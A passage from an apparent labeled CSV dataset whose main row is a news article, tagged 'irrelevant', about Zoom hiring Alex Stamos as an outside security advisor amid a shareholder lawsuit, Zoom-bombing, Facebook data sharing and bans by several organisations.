and at least 17 fraudulent claims with the state of Massachusetts, they said.",irrelevant
"Zoom Taps Ex-Facebook CISO Amid Security Snafus, Lawsuit The online videoconferencing service added Alex Stamos to the team and has also formed an expert advisory board to grapple with the pains of its COVID-19 growth spurt. As it faces a major lawsuit, Zoom is taking a significant step to bolster security and privacy efforts by recruiting an industry heavy-hitter – former Facebook CISO Alex Stamos – to provide special counsel. It has also named third-party expert security advisory teams. The popular videoconferencing service is making the changes as it faces a class-action lawsuit, filed by one of its shareholders on Tuesday in the U.S. District Court for the Northern District of California. It alleges that the company made “materially false and misleading statements” that overstated its privacy and security measures, and it claims that Zoom didn’t disclose its lack of end-to-end encryption. Zoom has experienced a raft of security-related growing pains during a boom in usage amid the COVID-19 lockdown, as people take work environments, school lessons and dates with friends online. Zoom now says that it aims to clean up its issues from both the product side and by taking a high-level executive approach, Zoom founder Eric Yaun said in a blog post published Wednesday. “Zoom has seen tremendous growth and new use cases emerge over the past few weeks, and we are committed to ensuring that the safety, privacy and security of our platform is worthy of the trust of all of our users,” he wrote. A New CISO and Advisory Councils The high-level approach that Stamos refers to includes recruiting Stamos, formerly of Facebook and of Yahoo before that, as an outside advisor to assist with a comprehensive security review of Zoom. Stamos is no stranger to dealing with the data security of an immense user base. He is well known for leading the team in charge of understanding and mitigating information security risk for Facebook’s 2.5 billion users, before leaving the company in 2018 over its handling of data-security practices surrounding the Cambridge Analytica fiasco and Russian interference in the 2016 U.S. presidential election. Stamos began keeping his eye on Russian activity on Facebook in July 2016 and wanted the company to reveal his findings to the public, but top executives like Mark Zuckerberg had a different opinion on the matter, according to published reports at the time. Zoom has tapped former Facebook CISO Alex Stamos as an outside advisor. Stamos — currently an adjunct professor at Stanford’s Freeman-Spogli Institute and a visiting scholar at the Hoover Institution — said he felt compelled to assist Zoom even though he is consumed by other commitments for a number of reasons. In a blog post on Medium published Wednesday, Stamos said not only is he impressed with Zoom’s sudden rise from “a mid-sized enterprise IT company to a critical part of the lives of hundreds of millions in the space of a couple of months,” but also the technical challenges the company faces are “too interesting to pass up.” Stamos also said that he wants to improve Zoom’s security posture because it has become an essential service in his own, personal and professional post-COVID-19 world, with he and his family using it on a daily basis to manage their lives during the pandemic. “The adaptation of a successful enterprise collaboration tool into virtual classrooms, virtual doctor’s offices and a myriad of other applications … has created privacy, trust and safety challenges that no company has ever faced,” he wrote. “Zoom has some important work to do in core application security, cryptographic design and infrastructure security, and I’m looking forward to working with Zoom’s engineering teams on those projects.” Meanwhile, Yuan hopes the formation of the company’s “CISO Council,” which includes executives from HSBC, NTT Data, Procore and Ellie Mae, as well as an advisory board of security leaders from companies such as VMWare, Netflix and Uber, will help remedy these and other issues that arise with Zoom’s continued proliferation. “The purpose of the CISO Council will be to engage with us in an ongoing dialogue about privacy, security and technology issues, and best practices — to share ideas and collaborate,” he said. Class-Action Lawsuit Meanwhile, Zoom faces a class-action lawsuit. Plaintiff Michael Drieu, a shareholder who filed on behalf of all other shareholders – alleges that Zoom engaged in deception when it claimed that its product supported end-to-end encryption. The suit alleges that Zoom only used encryption for the transport link, allowing the service to still access data. Additionally, the suit alleges that Zoom has put users “at an increased risk of having their personal information accessed by unauthorized parties, including Facebook.” Zoom recently had to kill a feature in its iOS web conferencing app that was sharing analytics data with Facebook, after a Motherboard report disclosed that the transferred information included data on when a user opened the app, a user’s time zone, device OS, device model and carrier, screen size, processor cores and disk space. Product Changes and Bans In addition to bringing in experts to help sort out its myriad issues, the company also recently made a key tweak to its Zoom client to mitigate the most popular attacks by threat actors that have surfaced during the surge in use: “Bombing” Zoom meetings with porn, hate speech and other disruptive tactics. It did so by removing meeting ID numbers from the title bar of its client interface to mitigate the attacks from threat actors. Before the tweak, anyone could join a Zoom meeting if they knew the meeting link, which many users would send via social-media channels. Removing the link from the client now makes it impossible for threat actors to share screen shots of meetings on the internet to encourage nefarious activity from uninvited participants, the company said. However, Zoom-bombing and sharing data with Facebook are just two of the problems that has plagued the service since activity had a major uptick. Other security issues that have surfaced include the discovery and subsequent patching of two zero-day flaws in its MacOS client that could give local, unprivileged attackers root privilege allowing access to victims’ microphone and camera. And, last week the company eliminated a feature called LinkedIn Sales Navigator that came under fire for “undisclosed data mining” of users’ names and email addresses, which the service used to match them with their LinkedIn profiles. All of this has led to some who had been depending on the service to ban it because of security and privacy issues. These include schools in New York City: Problems in the city led to a subsequent inquiry by the New York Attorney General about Zoom’s data security. Google, too has banned the service, according to reports. It reportedly told employees whose work laptops have the Zoom app installed that the software would stop working starting this week, because of security concerns. Elon Musk’s rocket company SpaceX recently banned its employees from using Zoom, due to “significant privacy and security concerns.” And, Taiwan has issued a parliamentary order telling government agencies, and some private entities, that “underlying video software to be used should not have associated security or privacy concerns, such as the Zoom video communication service.”",irrelevant